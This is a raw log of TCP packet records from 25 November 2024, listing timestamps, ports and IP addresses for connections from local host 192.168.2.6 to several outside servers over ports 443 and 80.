Nov 25, 2024 05:46:38.257272005 CET	443	49805	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.258444071 CET	49805	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.258455038 CET	443	49805	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.259876013 CET	49807	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.259893894 CET	443	49807	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.260263920 CET	49807	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.260270119 CET	443	49807	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.465574026 CET	49808	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.465622902 CET	443	49808	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.465709925 CET	49808	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.518354893 CET	49808	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.518381119 CET	443	49808	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.577020884 CET	443	49806	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.577192068 CET	443	49806	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.577245951 CET	49806	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.577487946 CET	443	49804	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.577538967 CET	443	49804	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.577652931 CET	49804	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.585130930 CET	443	49807	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.585201979 CET	443	49807	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.585247040 CET	49807	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.592284918 CET	443	49805	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.592344046 CET	443	49805	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.593328953 CET	49805	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.631639957 CET	49806	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.631654978 CET	443	49806	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.632509947 CET	49805	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.632560015 CET	443	49805	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.632580996 CET	49805	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.632590055 CET	443	49805	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.635049105 CET	49804	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.635056019 CET	443	49804	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.635066986 CET	49804	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.635071993 CET	443	49804	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.637758970 CET	49809	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.637779951 CET	443	49809	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.638051987 CET	49809	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.638309956 CET	49807	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.638345003 CET	443	49807	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.638354063 CET	49807	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.638362885 CET	443	49807	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.690509081 CET	49810	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.690567017 CET	443	49810	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.690649986 CET	49810	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.703294039 CET	49809	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.703315973 CET	443	49809	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.707005978 CET	49811	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.707017899 CET	443	49811	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.707089901 CET	49811	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.707331896 CET	49811	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.707343102 CET	443	49811	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.707856894 CET	49810	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.707878113 CET	443	49810	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.732098103 CET	49812	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.732167006 CET	443	49812	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.732238054 CET	49812	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.732692003 CET	49812	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.732707024 CET	443	49812	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.842350960 CET	49712	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:38.842523098 CET	49712	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:38.961819887 CET	443	49712	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:38.962114096 CET	443	49712	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:38.962127924 CET	443	49712	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:38.962223053 CET	443	49712	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:38.962232113 CET	443	49712	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:39.470387936 CET	443	49712	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:39.470495939 CET	443	49712	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:39.470664978 CET	49712	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:39.474590063 CET	443	49712	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:39.474694967 CET	443	49712	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:39.475797892 CET	49712	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:39.482994080 CET	443	49712	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:39.483099937 CET	443	49712	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:39.483165026 CET	49712	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:39.491374969 CET	443	49712	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:39.491501093 CET	443	49712	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:39.491564989 CET	49712	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:39.499706984 CET	443	49712	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:39.588108063 CET	49712	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:39.635183096 CET	49820	443	192.168.2.6	94.245.104.56
Nov 25, 2024 05:46:39.635226965 CET	443	49820	94.245.104.56	192.168.2.6
Nov 25, 2024 05:46:39.635307074 CET	49820	443	192.168.2.6	94.245.104.56
Nov 25, 2024 05:46:39.635972023 CET	49820	443	192.168.2.6	94.245.104.56
Nov 25, 2024 05:46:39.635987997 CET	443	49820	94.245.104.56	192.168.2.6
Nov 25, 2024 05:46:40.312602043 CET	443	49808	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:40.317648888 CET	49808	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:40.317691088 CET	443	49808	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:40.318118095 CET	49808	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:40.318126917 CET	443	49808	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:40.495403051 CET	443	49811	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:40.495865107 CET	49811	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:40.495881081 CET	443	49811	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:40.496746063 CET	49811	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:40.496751070 CET	443	49811	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:40.517798901 CET	443	49812	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:40.546904087 CET	443	49809	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:40.548460007 CET	49812	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:40.548497915 CET	443	49812	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:40.549153090 CET	49812	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:40.549160957 CET	443	49812	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:40.549880028 CET	443	49810	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:40.550806999 CET	49810	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:40.550854921 CET	443	49810	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:40.551464081 CET	49810	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:40.551471949 CET	443	49810	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:40.552925110 CET	80	49793	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:40.552975893 CET	49793	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:40.557535887 CET	49809	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:40.557549953 CET	443	49809	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:40.557939053 CET	49809	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:40.557944059 CET	443	49809	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:40.763637066 CET	443	49808	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:40.763708115 CET	443	49808	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:40.763761997 CET	49808	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:40.875720978 CET	49808	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:40.875720978 CET	49808	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:40.875755072 CET	443	49808	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:40.875767946 CET	443	49808	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:40.916883945 CET	49822	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:40.916927099 CET	443	49822	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:40.916986942 CET	49822	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:40.941219091 CET	443	49811	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:40.941276073 CET	443	49811	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:40.941418886 CET	49811	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:40.962276936 CET	443	49812	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:40.962431908 CET	443	49812	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:40.962548971 CET	49812	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:40.999874115 CET	443	49809	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:41.000022888 CET	443	49809	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:41.000082016 CET	49809	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:41.001401901 CET	49822	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:41.001416922 CET	443	49822	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:41.001734972 CET	49809	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:41.001745939 CET	443	49809	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:41.001755953 CET	49809	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:41.001760960 CET	443	49809	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:41.002271891 CET	443	49810	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:41.002327919 CET	443	49810	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:41.002480030 CET	49810	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:41.003344059 CET	49810	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:41.003366947 CET	443	49810	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:41.003385067 CET	49810	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:41.003392935 CET	443	49810	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:41.010561943 CET	49811	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:41.010567904 CET	443	49811	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:41.010579109 CET	49811	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:41.010582924 CET	443	49811	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:41.021528959 CET	49823	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:41.021559000 CET	443	49823	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:41.021689892 CET	49823	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:41.021811008 CET	49823	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:41.021823883 CET	443	49823	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:41.021928072 CET	49812	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:41.021950006 CET	443	49812	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:41.021960974 CET	49812	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:41.021965981 CET	443	49812	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:41.102926016 CET	49824	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:41.102967024 CET	443	49824	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:41.103032112 CET	49824	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:41.107254982 CET	49825	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:41.107268095 CET	443	49825	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:41.107331991 CET	49825	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:41.107630968 CET	49824	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:41.107650042 CET	443	49824	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:41.109781981 CET	49825	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:41.109791994 CET	443	49825	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:41.110474110 CET	49826	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:41.110483885 CET	443	49826	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:41.110533953 CET	49826	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:41.110676050 CET	49826	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:41.110687017 CET	443	49826	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:41.130486965 CET	49793	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:41.130765915 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:41.249926090 CET	80	49793	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:41.250180006 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:41.250277996 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:41.250432968 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:41.250473022 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:41.369849920 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:41.369904041 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:41.370084047 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:41.370107889 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:41.433129072 CET	443	49820	94.245.104.56	192.168.2.6
Nov 25, 2024 05:46:41.433459044 CET	49820	443	192.168.2.6	94.245.104.56
Nov 25, 2024 05:46:41.433480978 CET	443	49820	94.245.104.56	192.168.2.6
Nov 25, 2024 05:46:41.434948921 CET	443	49820	94.245.104.56	192.168.2.6
Nov 25, 2024 05:46:41.435023069 CET	49820	443	192.168.2.6	94.245.104.56
Nov 25, 2024 05:46:41.436005116 CET	49820	443	192.168.2.6	94.245.104.56
Nov 25, 2024 05:46:41.436069012 CET	443	49820	94.245.104.56	192.168.2.6
Nov 25, 2024 05:46:41.436192036 CET	49820	443	192.168.2.6	94.245.104.56
Nov 25, 2024 05:46:41.436198950 CET	443	49820	94.245.104.56	192.168.2.6
Nov 25, 2024 05:46:41.555879116 CET	49820	443	192.168.2.6	94.245.104.56
Nov 25, 2024 05:46:41.652827024 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:41.652858019 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:41.653112888 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:41.653399944 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:41.653417110 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:41.941487074 CET	443	49820	94.245.104.56	192.168.2.6
Nov 25, 2024 05:46:41.941597939 CET	443	49820	94.245.104.56	192.168.2.6
Nov 25, 2024 05:46:41.941752911 CET	49820	443	192.168.2.6	94.245.104.56
Nov 25, 2024 05:46:41.952003956 CET	49820	443	192.168.2.6	94.245.104.56
Nov 25, 2024 05:46:41.952025890 CET	443	49820	94.245.104.56	192.168.2.6
Nov 25, 2024 05:46:42.380990982 CET	49835	443	192.168.2.6	2.16.158.184
Nov 25, 2024 05:46:42.381084919 CET	443	49835	2.16.158.184	192.168.2.6
Nov 25, 2024 05:46:42.381155968 CET	49835	443	192.168.2.6	2.16.158.184
Nov 25, 2024 05:46:42.381597996 CET	49835	443	192.168.2.6	2.16.158.184
Nov 25, 2024 05:46:42.381639957 CET	443	49835	2.16.158.184	192.168.2.6
Nov 25, 2024 05:46:42.845247984 CET	443	49822	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:42.846077919 CET	49822	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:42.846092939 CET	443	49822	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:42.846906900 CET	49822	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:42.846910000 CET	443	49822	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:42.866077900 CET	443	49823	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:42.866683960 CET	49823	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:42.866712093 CET	443	49823	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:42.867794037 CET	49823	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:42.867800951 CET	443	49823	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:42.886077881 CET	443	49824	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:42.886620045 CET	443	49825	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:42.887501001 CET	49824	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:42.887588024 CET	443	49824	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:42.888535023 CET	49824	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:42.888550997 CET	443	49824	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:42.888993025 CET	49825	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:42.889028072 CET	443	49825	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:42.889379025 CET	49825	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:42.889388084 CET	443	49825	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:42.904505014 CET	443	49826	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:42.905091047 CET	49826	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:42.905127048 CET	443	49826	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:42.905787945 CET	49826	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:42.905798912 CET	443	49826	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:43.135005951 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:43.135071039 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:43.299045086 CET	443	49822	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:43.299124956 CET	443	49822	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:43.299176931 CET	49822	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:43.317327023 CET	49822	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:43.317359924 CET	443	49822	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:43.317370892 CET	49822	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:43.317383051 CET	443	49822	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:43.319278955 CET	443	49823	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:43.319463015 CET	443	49823	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:43.319534063 CET	49823	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:43.323265076 CET	49823	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:43.323265076 CET	49823	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:43.323280096 CET	443	49823	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:43.323287010 CET	443	49823	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:43.330355883 CET	443	49824	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:43.330446959 CET	443	49824	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:43.330512047 CET	49824	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:43.331026077 CET	443	49825	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:43.331084013 CET	443	49825	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:43.331136942 CET	49825	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:43.337377071 CET	49844	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:43.337398052 CET	443	49844	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:43.337481976 CET	49844	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:43.342624903 CET	49845	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:43.342662096 CET	443	49845	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:43.342768908 CET	49845	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:43.343265057 CET	49845	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:43.343276024 CET	443	49845	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:43.343542099 CET	49824	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:43.343586922 CET	443	49824	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:43.343630075 CET	49824	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:43.343647957 CET	443	49824	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:43.343930960 CET	49825	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:43.343930960 CET	49825	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:43.343955994 CET	443	49825	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:43.343966007 CET	443	49825	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:43.345350981 CET	49844	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:43.345364094 CET	443	49844	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:43.346698046 CET	443	49826	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:43.346720934 CET	49846	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:43.346729040 CET	443	49846	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:43.346792936 CET	49846	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:43.346851110 CET	443	49826	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:43.346910000 CET	49826	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:43.346980095 CET	49846	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:43.346991062 CET	443	49846	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:43.347018957 CET	49826	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:43.347018957 CET	49826	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:43.347035885 CET	443	49826	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:43.347057104 CET	443	49826	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:43.347204924 CET	49847	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:43.347215891 CET	443	49847	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:43.347526073 CET	49847	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:43.347754955 CET	49847	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:43.347765923 CET	443	49847	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:43.351234913 CET	49848	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:43.351260900 CET	443	49848	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:43.351330996 CET	49848	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:43.351644993 CET	49848	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:43.351659060 CET	443	49848	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:43.423417091 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:43.544512987 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:43.619266033 CET	49849	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:43.619308949 CET	443	49849	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:43.619379044 CET	49849	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:43.619863033 CET	49850	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:43.619898081 CET	443	49850	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:43.619971037 CET	49850	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:43.620274067 CET	49849	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:43.620285988 CET	443	49849	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:43.622033119 CET	49850	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:43.622049093 CET	443	49850	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:43.630352974 CET	49851	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:43.630364895 CET	443	49851	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:43.634066105 CET	49851	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:43.634449959 CET	49851	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:43.634458065 CET	443	49851	172.64.41.3	192.168.2.6
Nov 25, 2024 05:46:43.649647951 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:43.650155067 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:43.650175095 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:43.650643110 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:43.650659084 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:43.650731087 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:43.650746107 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:43.653892994 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:43.653906107 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:43.658282995 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:43.658407927 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:43.658441067 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:43.699359894 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:43.834321976 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:43.834393978 CET	443	49834	172.217.19.225	192.168.2.6
Nov 25, 2024 05:46:43.940624952 CET	49853	443	192.168.2.6	2.16.158.96
Nov 25, 2024 05:46:43.940735102 CET	443	49853	2.16.158.96	192.168.2.6
Nov 25, 2024 05:46:43.941235065 CET	49853	443	192.168.2.6	2.16.158.96
Nov 25, 2024 05:46:43.941481113 CET	49853	443	192.168.2.6	2.16.158.96
Nov 25, 2024 05:46:43.941519976 CET	443	49853	2.16.158.96	192.168.2.6
Nov 25, 2024 05:46:43.949115992 CET	49834	443	192.168.2.6	172.217.19.225
Nov 25, 2024 05:46:43.969093084 CET	49858	443	192.168.2.6	18.165.220.57
Nov 25, 2024 05:46:43.969144106 CET	443	49858	18.165.220.57	192.168.2.6
Nov 25, 2024 05:46:43.969302893 CET	49858	443	192.168.2.6	18.165.220.57
Nov 25, 2024 05:46:43.969537020 CET	49858	443	192.168.2.6	18.165.220.57
Nov 25, 2024 05:46:43.969553947 CET	443	49858	18.165.220.57	192.168.2.6
Nov 25, 2024 05:46:43.991333961 CET	49849	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:43.991729975 CET	49860	443	192.168.2.6	172.64.41.3
Nov 25, 2024 05:46:43.991760969 CET	443	49860	172.64.41.3	192.168.2.6
